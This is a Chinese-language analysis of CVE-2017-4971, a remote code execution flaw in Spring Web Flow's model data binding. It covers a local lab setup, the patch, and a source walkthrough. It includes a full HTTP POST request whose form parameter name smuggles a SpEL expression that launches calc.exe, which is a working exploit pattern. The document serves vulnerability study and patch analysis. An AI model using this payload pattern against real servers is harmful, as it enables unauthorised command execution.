CVE-2017-4971分析

简介

Spring Web Flow

Spring系列一个冷门框架。session之下request之上的一个框架,定义多个流程,尤其适合需要多个步骤的业务,理论上可以简化开发,实际上很少有人选择。它将XML作为语言,这无疑是落后的

漏洞简介

Spring Web Flow在Model的数据绑定上存在漏洞,导致RCE。由于没有明确指定相关Model的具体属性,导致从表单可以提交恶意的表达式从而被执行。漏洞出发条件比较苛刻

环境搭建

下载Spring官方示例:https://github.com/spring-projects/spring-webflow-samples
使用其中的booking-mvc项目,打开后发现是Maven+JPA的项目。启动比较麻烦,先git checkout到2.3.x分支,导入IDEA处理完依赖后,配置Tomcat,通过Tomcat启动war包
(IDEA比较方便,配好Tomcat指定Deployment即可)

访问localhost:8080如下

修改配置文件:src\main\webapp\WEB-INF\config\webflow-config.xml

<bean id="mvcViewFactoryCreator" class="org.springframework.webflow.mvc.builder.MvcViewFactoryCreator"> 
    <property name="viewResolvers" ref="tilesViewResolver"/>
    <property name="useSpringBeanBinding" value="false" />
</bean>

漏洞复现

进入系统后,根据左边提供的用户名密码登录一个。找任意一个酒店下单,在Confirm按钮点击前使用burp抓包(如果burp无法firefox在localhost的包,尝试进入about:config,搜索下面这个配置network.proxy.allow_hijacking_localhost并修改为true)

修改请求,加入payload后发送,成功启动计算器

POST /hotels/booking?execution=e2s2 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/hotels/booking?execution=e2s2
Cookie: JSESSIONID=A8E8F1FBCB4E117590C15C6262EA55DD
Upgrade-Insecure-Requests: 1

_eventId_confirm=1&_(new+java.lang.ProcessBuilder("calc.exe")).start()=test

漏洞分析

这个漏洞如果从正面角度分析,比较困难,所以先在github找到补丁:https://github.com/spring-projects/spring-webflow/commit/57f2ccb66946943fbf3b3f2165eac1c8eb6b1523

分析后发现替换了addEmptyValueMapping方法的解析器为BeanWrapperExpressionParser


这里通过调用关系我们可以大概的搞明白Spring Web Flow的执行顺序和流程,由 FlowController决定将请求交给那个handler去执行具体的流程。这里我们需要知道当用户请求有视图状态处理时,会决定当前事件下一个执行的流程,同时对于配置文件中我们配置的view-state元素,如果我们指定了数据的 model,那么它会自动进行数据绑定,xml 结构如下(这里以官方的example中的 book 项目为例子)

其中数据绑定部分的代码如下,跟踪后发现其中addModelBindings和addDefaultMappings都间接调用了addEmptyValueMapping方法

protected MappingResults bind(Object model) {
    if (logger.isDebugEnabled()) {
        logger.debug("Binding to model");
    }
    DefaultMapper mapper = new DefaultMapper();
    ParameterMap requestParameters = requestContext.getRequestParameters();
    if (binderConfiguration != null) {
        addModelBindings(mapper, requestParameters.asMap().keySet(), model);
    } else {
        addDefaultMappings(mapper, requestParameters.asMap().keySet(), model);
    }
    return mapper.map(requestParameters, model);
}

addEmptyValueMapping方法如下,其中Expression就是SPEL。如果传入的field是恶意代码,经过getValueType就会造成RCE

protected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) {
    ParserContext parserContext = new FluentParserContext().evaluate(model.getClass());
    Expression target = expressionParser.parseExpression(field, parserContext);
    try {
        Class propertyType = target.getValueType(model);
        Expression source = new StaticExpression(getEmptyValue(propertyType));
        DefaultMapping mapping = new DefaultMapping(source, target);
        if (logger.isDebugEnabled()) {
            logger.debug("Adding empty value mapping for parameter '" + field + "'");
        }
        mapper.addMapping(mapping);
    } catch (EvaluationException e) {
    }
}

之前分析有两处调用addEmptyValueMapping,分析传入的field参数

protected void addModelBindings(DefaultMapper mapper, Set parameterNames, Object model) {
    Iterator it = binderConfiguration.getBindings().iterator();
    while (it.hasNext()) {
        Binding binding = (Binding) it.next();
        String parameterName = binding.getProperty();
        if (parameterNames.contains(parameterName)) {
            addMapping(mapper, binding, model);
        } else {
            if (fieldMarkerPrefix != null && parameterNames.contains(fieldMarkerPrefix + parameterName)) {
                addEmptyValueMapping(mapper, parameterName, model);
            }
        }
    }
}
protected void addDefaultMappings(DefaultMapper mapper, Set parameterNames, Object model) {
    for (Iterator it = parameterNames.iterator(); it.hasNext();) {
        String parameterName = (String) it.next();
        if (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) {
            String field = parameterName.substring(fieldMarkerPrefix.length());
            if (!parameterNames.contains(field)) {
                addEmptyValueMapping(mapper, field, model);
            }
        } else {
            addDefaultMapping(mapper, parameterName, model);
        }
    }
}

首先分析addModelBindings,其中关键是binderConfiguration,断点调试发现这里是xml配置中硬编码的,也就是无法修改的部分。放弃分析这里,前往addDefaultMappings函数

之前要提到bind方法并不是没有意义的,其中这段代码正是核心,只有binderConfiguration为空,也就是xml的binder节点为空的时候,才会调用addDefaultMappings方法

    if (binderConfiguration != null) {
        addModelBindings(mapper, requestParameters.asMap().keySet(), model);
    } else {
        addDefaultMappings(mapper, requestParameters.asMap().keySet(), model);
    }

其中reviewBooking的view-state中不存在binder节点,意味着binderConfiguration为空,成功调用到addDefaultMappings(reviewBooking翻译过来大概是确认预定,也就是上文复现中的Confirm确认按钮,所以可以定位到这里)

<view-state id="reviewBooking" model="booking">
    <on-render>
        <render fragments="body" />
    </on-render>
    <transition on="confirm" to="bookingConfirmed">
        <evaluate expression="bookingService.persistBooking(booking)" />
    </transition>
    <transition on="revise" to="enterBookingDetails" />
    <transition on="cancel" to="cancel" />
</view-state>

在addDefaultMappings这一段,fieldMarkerPrefix是“_”,所以我们POST的key以_开头,substring后正好是payload(new+java.lang.ProcessBuilder("calc.exe")).start(),而parameterNames是表单传的value,value中不存在payload,调用addEmptyValueMapping

if (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) {
    String field = parameterName.substring(fieldMarkerPrefix.length());
    if (!parameterNames.contains(field)) {
        addEmptyValueMapping(mapper, field, model);
    }
}

关于一开始为什么要将useSpringBeanBinding设置为false,我们返回addEmptyValueMapping
org\springframework\webflow\mvc\builder\MvcViewFactoryCreator.java

public ViewFactory createViewFactory(Expression viewId, ExpressionParser expressionParser,
        ConversionService conversionService, BinderConfiguration binderConfiguration, Validator validator) {
    if (useSpringBeanBinding) {
        expressionParser = new BeanWrapperExpressionParser(conversionService);
    }
    AbstractMvcViewFactory viewFactory = createMvcViewFactory(viewId, expressionParser, conversionService,
            binderConfiguration);
    if (StringUtils.hasText(eventIdParameterName)) {
        viewFactory.setEventIdParameterName(eventIdParameterName);
    }
    if (StringUtils.hasText(fieldMarkerPrefix)) {
        viewFactory.setFieldMarkerPrefix(fieldMarkerPrefix);
    }
    viewFactory.setValidator(validator);
    return viewFactory;
}

如果useSpringBeanBinding为true,使用BeanWrapperExpressionParser,具体的解析方法中会判断allowDelimitedEvalExpressions,这个值不可控并且默认是false,会直接抛出异常

if (!allowDelimitedEvalExpressions) {
					throw new ParserException(
							expressionString,
							"The expression '"
									+ expressionString
									+ "' being parsed is expected be a standard OGNL expression. Do not attempt to enclose such expression strings in ${} delimiters--this is redundant. If you need to parse a template that mixes literal text with evaluatable blocks, set the 'template' parser context attribute to true.",
							null);
}

修复

现在看修复方案,应该比较清晰了,直接规定了使用BeanWrapperExpressionParser